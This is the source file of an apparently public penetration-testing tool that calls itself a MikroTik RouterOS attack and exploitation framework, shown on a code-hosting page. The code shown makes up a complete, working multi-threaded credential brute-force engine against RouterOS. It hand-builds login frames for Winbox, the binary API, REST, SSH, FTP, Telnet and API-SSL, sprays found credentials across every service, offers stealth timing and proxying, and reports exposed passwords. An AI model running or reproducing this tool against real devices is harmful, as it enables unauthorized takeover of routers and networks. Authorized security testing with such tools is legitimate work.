-
Notifications
You must be signed in to change notification settings - Fork 30
Expand file tree
/
Copy pathmikrotikapi-bf.py
More file actions
2516 lines (2229 loc) · 103 KB
/
Copy pathmikrotikapi-bf.py
File metadata and controls
2516 lines (2229 loc) · 103 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: André Henrique (LinkedIn/X: @mrhenrike)
# Version: see version.py (canonical source — never hardcode here)
"""
MikrotikAPI-BF — RouterOS Attack & Exploitation Framework
===========================================================
Performs credential brute-force, fingerprinting, and vulnerability
assessment against MikroTik RouterOS devices.
Quick start:
python mikrotikapi-bf.py -t 192.168.1.1 -U admin -P admin123
python mikrotikapi-bf.py -t 192.168.1.1 -d wordlists/combos.lst
python mikrotikapi-bf.py -t 192.168.1.1 --exploit --fingerprint
python mikrotikapi-bf.py --interactive
"""
import sys
# ── Load .env if present (python-dotenv, optional dep) ───────────────────
try:
from dotenv import load_dotenv
load_dotenv(override=False) # .env values do NOT override existing env vars
except ImportError:
pass # python-dotenv not installed; .env not loaded (install with: pip install python-dotenv)
# ── Python version guard (3.8+ required, no upper cap) ────────────────────
_MIN = (3, 8)
if sys.version_info[:2] < _MIN:
print(f"\n[ERROR] Python {'.'.join(map(str, _MIN))}+ required "
f"(running {sys.version.split()[0]}).\n")
sys.exit(1)
import argparse
import concurrent.futures
import json
import socket
import struct
import threading
import time
import warnings
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional, Tuple
import requests
import urllib3
from requests.auth import HTTPBasicAuth
warnings.filterwarnings("ignore", category=DeprecationWarning)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ── Package imports ───────────────────────────────────────────────────────
def _import_core():
"""Import core modules; raise ImportError with a clear message on failure."""
try:
from core.api import Api
from core.log import Log
from core.session import SessionManager
from core.export import ResultExporter
from core.progress import ProgressBar
from core.cli import PentestCLI
return Api, Log, SessionManager, ResultExporter, ProgressBar, PentestCLI
except ImportError as exc:
print(f"[ERROR] Could not import core modules: {exc}")
print("Ensure you are running from the MikrotikAPI-BF directory.")
sys.exit(1)
def _import_modules():
"""Import optional feature modules (graceful fallback to None)."""
mods: Dict = {}
pairs = [
("StealthManager", "modules.stealth", "StealthManager"),
("MikrotikFingerprinter","modules.fingerprint", "MikrotikFingerprinter"),
("SmartWordlistManager", "modules.wordlists", "SmartWordlistManager"),
("ProxyManager", "modules.proxy", "ProxyManager"),
]
for key, mod_path, cls_name in pairs:
try:
import importlib
mod = importlib.import_module(mod_path)
mods[key] = getattr(mod, cls_name)
except Exception:
mods[key] = None
return mods
Api, Log, SessionManager, ResultExporter, ProgressBar, PentestCLI = _import_core()
_mods = _import_modules()
StealthManager = _mods["StealthManager"]
MikrotikFingerprinter = _mods["MikrotikFingerprinter"]
SmartWordlistManager = _mods["SmartWordlistManager"]
ProxyManager = _mods["ProxyManager"]
from version import _VERSION # canonical source — edit version.py to bump
# ── Telnet fallback (removed from stdlib in Python 3.13) ─────────────────
def _telnet_login(host: str, username: str, password: str, port: int = 23) -> bool:
"""Socket-based Telnet login that works on all Python versions."""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((host, port))
def _read_until(needle: bytes, timeout: float = 5.0) -> bytes:
buf = b""
deadline = time.time() + timeout
while time.time() < deadline:
try:
chunk = sock.recv(256)
if not chunk:
break
buf += chunk
if needle in buf:
break
except socket.timeout:
break
return buf
_read_until(b"ogin:")
sock.sendall(username.encode("ascii", errors="replace") + b"\r\n")
_read_until(b"assword:")
sock.sendall(password.encode("ascii", errors="replace") + b"\r\n")
response = _read_until(b">", timeout=3)
sock.close()
return b"Login:" not in response and b"incorrect" not in response.lower()
except Exception:
return False
# ── Utility functions ─────────────────────────────────────────────────────
def _now() -> str:
return datetime.now().strftime("%H:%M:%S")
def _port_open(host: str, port: int, timeout: int = 3) -> bool:
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except (socket.timeout, socket.error, OSError):
return False
def _rest_login(host: str, username: str, password: str, port: int, use_ssl: bool = False) -> bool:
protocol = "https" if use_ssl else "http"
url = f"{protocol}://{host}:{port}/rest/system/identity"
try:
resp = requests.get(
url, auth=HTTPBasicAuth(username, password), timeout=5, verify=False
)
return resp.status_code == 200
except Exception:
return False
def _ftp_login(host: str, username: str, password: str, port: int = 21) -> bool:
"""Attempt FTP authentication."""
try:
import ftplib
ftp = ftplib.FTP()
ftp.connect(host, port, timeout=5)
ftp.login(username, password)
ftp.quit()
return True
except Exception:
return False
def _ssh_login(host: str, username: str, password: str, port: int = 22) -> bool:
"""Attempt SSH authentication via paramiko."""
try:
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(
host, port=port, username=username, password=password,
timeout=5, allow_agent=False, look_for_keys=False,
)
ssh.close()
return True
except Exception:
return False
def _http_login(host: str, username: str, password: str, port: int = 80,
use_ssl: bool = False) -> Tuple[bool, str]:
"""Attempt HTTP/HTTPS WebFig + REST API authentication.
Returns:
Tuple of (success, detail_string).
"""
try:
import requests as _req
import urllib3 as _u3
_u3.disable_warnings()
scheme = "https" if use_ssl else "http"
base = f"{scheme}://{host}:{port}"
# Try REST API (RouterOS 7.x)
r = _req.get(
f"{base}/rest/system/resource",
auth=(username, password), timeout=5, verify=False,
)
if r.status_code == 200:
info = r.json()
ver = info.get("version", "?")
board = info.get("board-name", "?")
return True, f"REST API OK — RouterOS {ver} | {board}"
if r.status_code == 401:
return False, "REST API: credentials rejected (HTTP 401)"
# RouterOS 6.x WebFig — try jsproxy login
try:
s = _req.Session()
s.get(f"{base}/", timeout=4, verify=False)
r2 = s.post(
f"{base}/jsproxy",
json={"method": "login", "params": [username, password]},
timeout=4, verify=False,
)
if r2.status_code == 200 and "error" not in r2.text.lower():
return True, "WebFig jsproxy login OK"
except Exception:
pass
return False, f"HTTP {r.status_code} — WebFig not responding to credentials"
except Exception as e:
return False, f"Connection error: {e}"
def _winbox_login(host: str, username: str, password: str, port: int = 8291) -> Tuple[bool, str]:
"""Attempt Winbox authentication (EC-SRP5 on ROS 6.43+/7.x, MD5 on older)."""
try:
from modules.winbox_auth import winbox_login as _wb
return _wb(host, username, password, port=port, timeout=10.0)
except ImportError:
pass
# Fallback: legacy MD5-only probe (ROS 6.x)
try:
import hashlib as _md5
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((host, port))
# Phase 1: Hello / session negotiate
hello = bytes.fromhex(
"680c000000ff0106000000000000002200000006ff0901000000"
"000000002200000007ff090200000000000000"
)
s.send(hello)
time.sleep(0.4)
resp = b""
try:
resp = s.recv(1024)
except socket.timeout:
s.close()
return False, "No response to hello probe"
if not resp:
s.close()
return False, "No response to hello probe"
# Phase 2: Build login request using MD5(passwd + salt)
salt = resp[-16:] if len(resp) >= 16 else resp
pw_b = password.encode("utf-8")
md5_hash = _md5.md5(pw_b + salt).digest()
user_b = username.encode("utf-8")
# M2 login frame
payload = b"\xfe\x01\x00\x00"
payload += struct.pack("<H", len(user_b)) + user_b
payload += md5_hash
frame = struct.pack("<HH", len(payload) + 4, 0x0001) + payload
s.send(frame)
time.sleep(0.4)
auth_resp = b""
try:
auth_resp = s.recv(512)
except socket.timeout:
pass
s.close()
# Heuristic: a non-error response with content indicates auth accepted
if auth_resp and b"\xfe\x02" not in auth_resp and len(auth_resp) > 4:
return True, f"Winbox session established ({len(auth_resp)} bytes)"
if not auth_resp:
return False, "No auth response"
return False, "Winbox auth rejected"
except Exception as e:
return False, str(e)
def _api_ssl_login(host: str, username: str, password: str, port: int = 8729) -> Tuple[bool, str]:
"""Attempt RouterOS API-SSL (TLS over port 8729) authentication."""
try:
from core.apiros_client import ApiRosClient
client = ApiRosClient(host, port=port, user=username, password=password, use_ssl=True, timeout=5)
client.open_socket()
client.login()
client.close()
return True, "API-SSL login OK (ApiRosClient ADH)"
except Exception:
pass
try:
import ssl as _ssl
ctx = _ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = _ssl.CERT_NONE
raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
raw.settimeout(5)
raw.connect((host, port))
s = ctx.wrap_socket(raw, server_hostname=host)
def _enc(w: str) -> bytes:
b = w.encode("utf-8")
l = len(b)
if l < 0x80:
return bytes([l]) + b
return bytes([((l >> 8) & 0xFF) | 0x80, l & 0xFF]) + b
# RouterOS 7.x direct plaintext login
s.send(_enc("/login") + _enc(f"=name={username}") + _enc(f"=password={password}") + b"\x00")
s.settimeout(3)
data = b""
try:
while True:
c = s.recv(256)
if not c:
break
data += c
except socket.timeout:
pass
s.close()
text = data.decode("utf-8", errors="replace")
if "!done" in text and "!trap" not in text:
return True, "API-SSL login OK (RouterOS 7.x direct)"
if "=ret=" in text:
# RouterOS 6.x MD5 challenge received — attempt response
import re as _re, hashlib as _h
m = _re.search(r"=ret=([0-9a-f]+)", text)
if m:
chal = bytes.fromhex(m.group(1))
pw_b = password.encode("utf-8")
digest = "00" + _h.md5(b"\x00" + pw_b + chal).hexdigest()
s2 = ctx.wrap_socket(
socket.create_connection((host, port), timeout=5),
server_hostname=host,
)
s2.send(
_enc("/login") + _enc(f"=name={username}") + _enc(f"=response={digest}") + b"\x00"
)
s2.settimeout(3)
data2 = b""
try:
while True:
c = s2.recv(256)
if not c:
break
data2 += c
except socket.timeout:
pass
s2.close()
text2 = data2.decode("utf-8", errors="replace")
if "!done" in text2 and "!trap" not in text2:
return True, "API-SSL login OK (RouterOS 6.x MD5 challenge)"
return False, "API-SSL auth rejected"
except Exception as e:
return False, str(e)
def _credential_matrix(
target: str,
username: str,
password: str,
http_port: int = 80,
api_port: int = 8728,
ssl_port: int = 443,
timeout: float = 5.0,
) -> Dict[str, Dict]:
"""Test credentials against ALL RouterOS services and return a matrix.
Probes all standard MikroTik service ports, then tests the given
credentials against each open service.
Args:
target: Target IP address.
username: Credential username.
password: Credential password.
http_port: HTTP/WebFig port (default 80).
api_port: RouterOS binary API port (default 8728).
ssl_port: HTTPS port (default 443).
timeout: Per-service connection timeout.
Returns:
Dict mapping service name to result dict with keys:
port, open, success, detail.
"""
ALL_SERVICES: Dict[str, int] = {
"ftp": 21,
"ssh": 22,
"telnet": 23,
"http": http_port,
"https": ssl_port,
"api": api_port,
"winbox": 8291,
"api-ssl": 8729,
}
SEP = "═" * 60
print(f"\n{SEP}")
print(f" CREDENTIAL MATRIX — {target}")
print(f" User: {username!r} Pass: {password!r}")
print(SEP)
matrix: Dict[str, Dict] = {}
for svc, port in ALL_SERVICES.items():
# Fast port probe first
is_open = _port_open(target, port)
status = "CLOSED"
detail = ""
success = False
if is_open:
try:
if svc == "api-ssl":
cert_hint = ""
try:
import requests as _rq
svcs = _rq.get(
f"http://{target}/rest/ip/service",
auth=(username, password), timeout=4, verify=False,
).json()
ssl_svc = next((s for s in svcs if s.get("name") == "api-ssl"), {})
cert = ssl_svc.get("certificate", "none")
if cert in ("none", "", None):
cert_hint = " (certificate=none — TLS handshake will fail until a cert is bound)"
except Exception:
pass
if svc == "ftp":
success = _ftp_login(target, username, password, port)
detail = "FTP login OK" if success else "FTP credentials rejected"
elif svc == "ssh":
success = _ssh_login(target, username, password, port)
detail = "SSH login OK" if success else "SSH credentials rejected"
elif svc == "telnet":
success = _telnet_login(target, username, password, port)
detail = "Telnet login OK" if success else "Telnet credentials rejected"
elif svc == "http":
success, detail = _http_login(target, username, password, port, use_ssl=False)
elif svc == "https":
success, detail = _http_login(target, username, password, port, use_ssl=True)
elif svc == "api":
try:
from core.api import Api
api = Api(target, port=port, timeout=int(timeout))
success = api.login(username, password)
detail = "Binary API login OK" if success else "Binary API credentials rejected"
except Exception as e:
detail = f"API error: {e}"
elif svc == "winbox":
success, detail = _winbox_login(target, username, password, port)
elif svc == "api-ssl":
success, detail = _api_ssl_login(target, username, password, port)
if cert_hint and not success:
detail += cert_hint
except Exception as e:
detail = f"Error: {e}"
status = "ACCESS" if success else "DENIED"
else:
detail = "port closed"
matrix[svc] = {
"port": port,
"open": is_open,
"success": success,
"detail": detail,
}
icon = "✓" if success else ("○" if not is_open else "✗")
tag = f"[\033[32mACCESS\033[0m]" if success else (f"[CLOSED]" if not is_open else f"[\033[31mDENIED\033[0m]")
print(f" {icon} {tag} {svc.upper():<8} :{port:<5} {detail[:55]}")
accessible = [s for s, r in matrix.items() if r["success"]]
print(SEP)
if accessible:
print(f" ACCESSIBLE SERVICES: {', '.join(s.upper() for s in accessible)}")
else:
print(f" No services accessible with these credentials.")
print(SEP)
return matrix
def _scan_services(target: str, api_port: int, http_port: int, ssl_port: int, use_ssl: bool) -> Dict[str, bool]:
"""Probe all standard MikroTik service ports in parallel."""
import concurrent.futures as _cf
from core.console import section, section_end, kv, port_state
section("TARGET SERVICE DISCOVERY")
kv("Target", target)
probe_map: Dict[str, int] = {
"api": api_port,
"http": http_port,
"winbox": 8291,
"ssh": 22,
"ftp": 21,
"telnet": 23,
"api-ssl": 8729,
"https": ssl_port,
}
with _cf.ThreadPoolExecutor(max_workers=len(probe_map)) as ex:
results_fut = {svc: ex.submit(_port_open, target, port) for svc, port in probe_map.items()}
services = {svc: fut.result() for svc, fut in results_fut.items()}
for svc, port in probe_map.items():
label = f"{svc.upper():<8} ({port:>5})"
print(f" {label} : {port_state(services[svc])}")
section_end()
return services
# ── Bruteforce Engine ─────────────────────────────────────────────────────
class BruteforceEngine:
"""
Multi-threaded credential brute-force engine for MikroTik RouterOS.
Supports RouterOS API (8728), REST API (HTTP/HTTPS), FTP, SSH, and Telnet.
"""
def __init__(
self,
target: str,
usernames: Optional[str],
passwords: Optional[str],
combo_dict: Optional[str],
delay: float,
api_port: int = 8728,
rest_port: int = 8729,
http_port: int = 80,
ssl_port: int = 443,
use_ssl: bool = False,
max_workers: int = 2,
verbose: bool = False,
verbose_all: bool = False,
validate_services: Optional[Dict[str, Optional[int]]] = None,
services_ok: Optional[Dict[str, bool]] = None,
show_progress: bool = False,
proxy_url: Optional[str] = None,
export_formats: Optional[List[str]] = None,
export_dir: str = "results",
max_retries: int = 1,
stealth_mode: bool = False,
fingerprint: bool = False,
session_manager: Optional[SessionManager] = None,
resume_session: bool = False,
force_new_session: bool = False,
wordlist_order: str = "random",
) -> None:
self.target = target
self.api_port = api_port
self.rest_port = rest_port
self.http_port = http_port
self.ssl_port = ssl_port
self.use_ssl = use_ssl
self.delay = delay
self.max_workers = min(max(1, max_workers), 300)
self.verbose = verbose
self.verbose_all = verbose_all
self.validate_services = validate_services or {}
self.services_ok = services_ok or {}
self.show_progress = show_progress
self.proxy_url = proxy_url
self.export_formats = export_formats or []
self.export_dir = export_dir
self.max_retries = max_retries
self.stealth_mode = stealth_mode
self.do_fingerprint = fingerprint
# Session management
self.session_manager = session_manager
self.resume_session = resume_session
self.force_new = force_new_session
self.session_id: Optional[str] = None
# Runtime state
self.log = Log(verbose=verbose, verbose_all=verbose_all)
self.wordlist: List[Tuple[str, str]] = []
self.successes: List[Dict] = []
self._lock = threading.Lock()
self._idx_lock = threading.Lock()
self._index = 0
self._progress: Optional[ProgressBar] = None
self._quiet: Optional["QuietActivity"] = None
self._interrupted = False
self._completed = 0
self._completed_lock = threading.Lock()
self.wordlist_order = wordlist_order or "random"
# Optional modules
self.stealth_mgr = StealthManager(enabled=stealth_mode) if StealthManager else None
self.fingerprinter = MikrotikFingerprinter() if MikrotikFingerprinter else None
self.proxy_mgr: Optional[ProxyManager] = None
if proxy_url and ProxyManager:
pm = ProxyManager(proxy_url)
if pm.test_connection():
self.proxy_mgr = pm
self.log.info(f"[PROXY] Active: {proxy_url}")
else:
self.log.warning("[PROXY] Unreachable — disabled.")
# Load the wordlist (and optionally resume a session)
self._raw_users = usernames
self._raw_pwds = passwords
self._combo_dict = combo_dict
self._load_wordlist()
# ------------------------------------------------------------------
# Wordlist loading
# ------------------------------------------------------------------
def _load_wordlist(self) -> None:
# Session resume check
if self.session_manager and not self.force_new:
existing = self.session_manager.find_existing_session(
self.target, list(self.validate_services.keys()) or ["api"], []
)
if existing and self.resume_session and self.session_manager.should_resume(existing):
self.log.info(f"[SESSION] Resuming {existing['session_id']}")
self.session_id = existing["session_id"]
self.wordlist = [
(c[0], c[1]) for c in existing.get("wordlist", [])
if isinstance(c, (list, tuple)) and len(c) == 2
]
self._index = existing.get("tested_combinations", 0)
self.successes = existing.get("successful_credentials", [])
return
if existing and existing.get("status") == "completed":
self.log.info("[SESSION] Already completed.")
for c in existing.get("successful_credentials", []):
self.log.success(f"[SESSION] {c.get('user')}:{c.get('pass')}")
self.wordlist = []
return
# Build wordlist from arguments
from core.wordlist_order import apply_wordlist_order, build_user_pass_combos, nest_for_order
combos: List[Tuple[str, str]] = []
if self._combo_dict:
combos = self._load_combo_file(self._combo_dict)
elif self._raw_users or self._raw_pwds:
users = self._load_list_or_single(self._raw_users)
pwds = self._load_list_or_single(self._raw_pwds)
if not users:
users = ["admin"]
if pwds is None:
pwds = [""]
combos = build_user_pass_combos(
users, pwds, nest=nest_for_order(self.wordlist_order)
)
else:
combos = [("admin", "")]
# Deduplicate preserving order
seen: set = set()
deduped: List[Tuple[str, str]] = []
for combo in combos:
if combo not in seen:
seen.add(combo)
deduped.append(combo)
try:
self.wordlist = apply_wordlist_order(deduped, self.wordlist_order)
except ValueError as exc:
print(f"[ERROR] {exc}")
sys.exit(1)
# Create session
if self.session_manager and not self.session_id:
self.session_id = self.session_manager.create_session(
self.target,
list(self.validate_services.keys()) or ["api"],
self.wordlist,
{
"api_port": self.api_port,
"http_port": self.http_port,
"delay": self.delay,
"stealth": self.stealth_mode,
},
)
self.log.info(f"[SESSION] Created: {self.session_id}")
@staticmethod
def _load_combo_file(path: str) -> List[Tuple[str, str]]:
combos: List[Tuple[str, str]] = []
try:
with open(path, "r", encoding="utf-8", errors="replace") as fh:
for line in fh:
line = line.strip()
if ":" in line:
user, _, pwd = line.partition(":")
combos.append((user, pwd))
except Exception as exc:
print(f"[ERROR] Could not read combo file {path}: {exc}")
sys.exit(1)
return combos
@staticmethod
def _load_list_or_single(value: Optional[str]) -> Optional[List[str]]:
if not value:
return None
if Path(value).is_file():
with open(value, "r", encoding="utf-8", errors="replace") as fh:
return [ln.strip() for ln in fh if ln.strip()]
return [value]
# ------------------------------------------------------------------
# Worker thread
# ------------------------------------------------------------------
def _next_combo(self) -> Optional[Tuple[str, str]]:
with self._idx_lock:
if self._index >= len(self.wordlist):
return None
combo = self.wordlist[self._index]
self._index += 1
return combo
def _worker(self) -> None:
from core.escape import ShutdownCoordinator
tid = threading.get_ident()
while not ShutdownCoordinator.stop_requested():
combo = self._next_combo()
if combo is None:
break
user, pwd = combo
if ShutdownCoordinator.stop_requested():
break
# Delay
if self.stealth_mgr:
self.stealth_mgr.apply_stealth_for_thread(tid, self.delay)
else:
time.sleep(self.delay)
if self.verbose or self.verbose_all:
self.log.debug(f"Trying {user}:{pwd}")
found_services: List[str] = []
# ── RouterOS API ──────────────────────────────────────────
if self.services_ok.get("api"):
try:
from core.api import Api as _Api
api = _Api(self.target, self.api_port)
if api.login(user, pwd):
found_services.append("api")
self.log.success(f"[API] {user}:{pwd}")
elif self.verbose or self.verbose_all:
self.log.fail(f"[API] {user}:{pwd}")
except Exception as exc:
if self.verbose_all:
self.log.warning(f"[API] Error: {str(exc)[:80]}")
# ── REST API ──────────────────────────────────────────────
rest_port = self.ssl_port if self.use_ssl else self.http_port
if self.services_ok.get("http") or (self.use_ssl and self.services_ok.get("ssl")):
try:
if _rest_login(self.target, user, pwd, rest_port, self.use_ssl):
found_services.append("restapi")
self.log.success(f"[REST] {user}:{pwd}")
elif self.verbose or self.verbose_all:
self.log.fail(f"[REST] {user}:{pwd}")
except Exception as exc:
if self.verbose_all:
self.log.warning(f"[REST] Error: {exc}")
# ── Automatic multi-service credential matrix ─────────────
if found_services:
matrix = _credential_matrix(
target=self.target,
username=user,
password=pwd,
http_port=self.http_port,
api_port=self.api_port,
ssl_port=self.ssl_port,
)
# Merge matrix results into found_services list
for svc, res in matrix.items():
if res["success"] and svc not in found_services:
found_services.append(svc)
# ── Legacy --validate support (backward compat) ───────────
if found_services and self.validate_services:
for svc_name, custom_port in self.validate_services.items():
if svc_name in found_services:
continue # Already tested by credential_matrix
svc_port = custom_port or {"ftp": 21, "ssh": 22, "telnet": 23}.get(svc_name, 0)
ok = False
try:
if svc_name == "ftp":
ok = _ftp_login(self.target, user, pwd, svc_port)
elif svc_name == "ssh":
ok = _ssh_login(self.target, user, pwd, svc_port)
elif svc_name == "telnet":
ok = _telnet_login(self.target, user, pwd, svc_port)
except Exception:
pass
if ok:
found_services.append(svc_name)
self.log.success(f"[{svc_name.upper()}] {user}:{pwd}")
# ── Record success ────────────────────────────────────────
if found_services:
with self._lock:
self.successes.append(
{"user": user, "pass": pwd, "services": found_services, "target": self.target}
)
if self._progress:
self._progress.update(1, success=True)
else:
if self._progress:
self._progress.update(1)
with self._completed_lock:
self._completed += 1
if self._quiet:
self._quiet.update(1)
# ── Update session every 10 attempts ─────────────────────
if self.session_manager and self.session_id and (self._index % 10 == 0 or found_services):
self.session_manager.update_session(
self.session_id, self._index, self.successes, [], combo
)
# ------------------------------------------------------------------
# Main run
# ------------------------------------------------------------------
def run(self) -> List[Dict]:
"""Start the brute-force attack and return successful credentials."""
from core.console import section, section_end, kv, kv_onoff, ok, warn, err, highlight, dim
from core.escape import ShutdownCoordinator
if not self.wordlist:
self.log.info("[*] Nothing to test — wordlist is empty.")
return []
section(f"ATTACK CONFIGURATION v{_VERSION}")
kv("Target", self.target)
kv("API Port", self.api_port)
kv("HTTP Port", self.http_port)
kv_onoff("SSL", self.use_ssl)
kv("Threads", self.max_workers)
kv("Delay", f"{self.delay}s")
kv("Total Combos", len(self.wordlist))
kv("Wordlist Order", self.wordlist_order)
kv_onoff("Stealth Mode", self.stealth_mode)
kv_onoff("Fingerprinting", self.do_fingerprint)
if self.proxy_mgr:
kv("Proxy", self.proxy_url)
if self.validate_services:
kv("Validation", ", ".join(self.validate_services).upper())
if self.export_formats:
kv("Export", ", ".join(self.export_formats).upper())
section_end()
print()
# Proxy setup
if self.proxy_mgr:
self.proxy_mgr.setup_socket()
# Fingerprint
if self.do_fingerprint and self.fingerprinter:
self.log.info("[FINGERPRINT] Analysing target…")
fp_info = self.fingerprinter.fingerprint_device(self.target)
if fp_info.get("is_mikrotik"):
ver = fp_info.get("routeros_version") or "Unknown"
risk = fp_info.get("risk_score", 0)
self.log.success(f"[FINGERPRINT] MikroTik confirmed — RouterOS {ver} — Risk {risk:.1f}/10")
else:
self.log.warning("[FINGERPRINT] Target may not be a MikroTik device.")
self.log.info(f"[*] Testing {len(self.wordlist)} combination(s) with {self.max_workers} thread(s)…")
if self.show_progress:
self._progress = ProgressBar(len(self.wordlist), show_eta=True, show_speed=True)
elif not self.verbose and not self.verbose_all:
from core.progress import QuietActivity
self._quiet = QuietActivity(len(self.wordlist), self.max_workers)
self._quiet.start()
ShutdownCoordinator.register(self)
start = time.time()
pool = concurrent.futures.ThreadPoolExecutor(max_workers=self.max_workers)
futures: List[concurrent.futures.Future] = []
try:
futures = [pool.submit(self._worker) for _ in range(self.max_workers)]
while not all(f.done() for f in futures):
if ShutdownCoordinator.stop_requested():
self._interrupted = True
break
concurrent.futures.wait(
futures,
timeout=0.25,
return_when=concurrent.futures.FIRST_COMPLETED,
)
except KeyboardInterrupt:
self._interrupted = True
ShutdownCoordinator.request_stop()
finally:
for fut in futures:
fut.cancel()
pool.shutdown(wait=False, cancel_futures=True)
ShutdownCoordinator.unregister(self)
elapsed = time.time() - start
if self._progress:
if self._interrupted:
self._progress.interrupt()
else:
self._progress.finish()
if self._quiet:
self._quiet.stop()
if self.proxy_mgr:
self.proxy_mgr.restore_socket()
if self.session_manager and self.session_id:
self.session_manager.complete_session(self.session_id, self.successes)
tested = self._completed if self._interrupted else len(self.wordlist)
total = len(self.wordlist)
found = len(self.successes)
section("ATTACK STATISTICS")
kv("Total Tested", tested if self._interrupted else total)
kv("Successful", found)
kv("Failed", tested - found if self._interrupted else total - found)
rate = found / tested * 100 if tested else 0
kv("Success Rate", f"{rate:.1f}%")
kv("Elapsed", f"{elapsed:.1f}s")
if tested and elapsed:
kv("Speed", f"{tested/elapsed:.2f} att/s")
section_end()
if self._interrupted:
print(f"\n {warn('[!]')} Attack interrupted — tested {tested}/{total} combinations.")
print(f" {dim('Tip')}: use {highlight('-y')} / {highlight('--yes-authorized')} to skip lab confirm; "
f"{highlight('Ctrl+C')} twice to force exit.\n")
if self.successes:
deduped = list({(d["user"], d["pass"]): d for d in self.successes}.values())
print("\n" + ok("═" * 70))
print(f" {ok('✓ CREDENTIALS EXPOSED')}")
print(ok("═" * 70))
print(f" {'#':<4} {'USERNAME':<24} {'PASSWORD':<24} SERVICES")
print(" " + "─" * 66)
for i, d in enumerate(deduped, 1):
svcs = ", ".join(d["services"])
print(f" {highlight(f'{i:04}'):<4} {highlight(d['user']):<24} {warn(d['pass']):<24} {svcs}")
print(ok("═" * 70) + "\n")
if self.export_formats and ResultExporter:
exporter = ResultExporter(deduped, self.target, output_dir=self.export_dir)
for fmt in self.export_formats:
method = getattr(exporter, f"export_{fmt}", None)
if method:
path = method()
self.log.info(f"[EXPORT] {fmt.upper()} → {path}")
elif not self._interrupted:
print(f"\n {err('No credentials found.')}\n")
return self.successes
# ── Argument parser ────────────────────────────────────────────────────────